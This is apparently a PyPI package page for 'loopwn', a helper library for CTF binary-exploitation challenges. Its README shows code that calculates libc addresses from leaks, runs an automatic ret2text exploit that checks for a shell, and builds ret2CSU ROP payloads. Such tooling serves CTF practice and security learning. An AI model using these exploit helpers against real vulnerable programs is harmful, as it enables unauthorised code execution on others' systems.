Skip to main content

A CTF pwn helper library for easy libc address calculation and exploitation

Project description

loopwn

A Python library designed to assist with CTF Pwn challenges, specifically focusing on Libc address calculation and leak exploitation.

Installation

pip install loopwn

Usage

1. Looplibc - Libc Address Calculation

from loopwn import Looplibc

# Example 1: Initialize with a known base address
libc = Looplibc('./libc.so.6', 0x7ffff7a0d000)

# Example 2: Initialize with a leaked symbol address
# This will automatically calculate the base address
libc = Looplibc('./libc.so.6', 'puts', 0x7ffff7a8c5a0)

# Access addresses
print(hex(libc.system))
print(hex(libc.bin_sh))

2. loop2text - Auto Ret2text Exploitation

from pwn import *
from loopwn import loop2text

# Start process
io = process('./pwn')

# Exploit
# Automatically sends payload and verifies shell with an echo check
# Args: padding_length, backdoor_address, io_object
loop2text(112, 0x401186, io)

3. loopcsu - Auto Ret2CSU Payload Generation

from loopwn import loopcsu

# Gadget addresses (Usually found in __libc_csu_init)
# csu_end: pop rbx; pop rbp; pop r12; pop r13; pop r14; pop r15; ret
# csu_start: mov rdx, r15; mov rsi, r14; mov edi, r13d; call qword ptr [r12+rbx*8]
csu_end = 0x4011da
csu_start = 0x4011c0

# Generate payload
# Args: csu_end, csu_start, r12, r13, r14, r15, return_addr, padding=0
payload = loopcsu(
    csu_end, csu_start,
    r12=0x601018,       # Function pointer (e.g., GOT address)
    r13=0,              # Arg1 (EDI)
    r14=1,              # Arg2 (RSI)
    r15=2,              # Arg3 (RDX)
    return_addr=0x401120,
    padding=0x20
)

# Send payload
io.sendline(payload)

Features

  • Automatic Base Calculation: Easily calculate libc base address from a leaked symbol.
  • Quick Access: Get system and /bin/sh addresses via properties.
  • Auto Ret2Text: Generate payload and get shell in one line with loop2text.
  • Auto Ret2CSU: Simplify Ret2CSU payload construction with loopcsu.
  • Shell Verification: Automatically checks if shell is obtained.
  • Pwntools Integration: Inherits from pwntools's ELF class.

Project details


Download files

Download the file for your platform. If you're not sure which to choose, learn more about installing packages.

Source Distribution

loopwn-0.3.5.tar.gz (8.0 kB view details)

Uploaded Source

Built Distribution

If you're not sure about the file name format, learn more about wheel file names.

loopwn-0.3.5-py3-none-any.whl (8.9 kB view details)

Uploaded Python 3

File details

Details for the file loopwn-0.3.5.tar.gz.

File metadata

  • Download URL: loopwn-0.3.5.tar.gz
  • Upload date:
  • Size: 8.0 kB
  • Tags: Source
  • Uploaded using Trusted Publishing? No
  • Uploaded via: twine/6.2.0 CPython/3.13.9

File hashes

Hashes for loopwn-0.3.5.tar.gz
Algorithm Hash digest
SHA256 2493f31ba8ac84d1acccd5b8287ca9eec2f4a98333ce8dd1229cabe18f29604e
MD5 7d4e8cf035c37357f3a2b0eba68887f8
BLAKE2b-256 8e04087c03f437dca99a4ae8991a3437a7d1b49d7904d9e67c9dfc3b9164f60c

See more details on using hashes here.

File details

Details for the file loopwn-0.3.5-py3-none-any.whl.

File metadata

  • Download URL: loopwn-0.3.5-py3-none-any.whl
  • Upload date:
  • Size: 8.9 kB
  • Tags: Python 3
  • Uploaded using Trusted Publishing? No
  • Uploaded via: twine/6.2.0 CPython/3.13.9

File hashes

Hashes for loopwn-0.3.5-py3-none-any.whl
Algorithm Hash digest
SHA256 244e0c25d42dbd38e6a651e1dc4373a8d89fd43712c867034e960396c9607ce6
MD5 648f024aecab633c435bf86cb6c6f6dc
BLAKE2b-256 f8fb9d6fc34910f7896c3dde4f8f4eb72cb03c90e8136fd0f9736bba65a1929c

See more details on using hashes here.

Supported by

AWS Cloud computing and Security Sponsor Datadog Monitoring Depot Continuous Integration Fastly CDN Google Download Analytics Pingdom Monitoring Sentry Error logging StatusPage Status page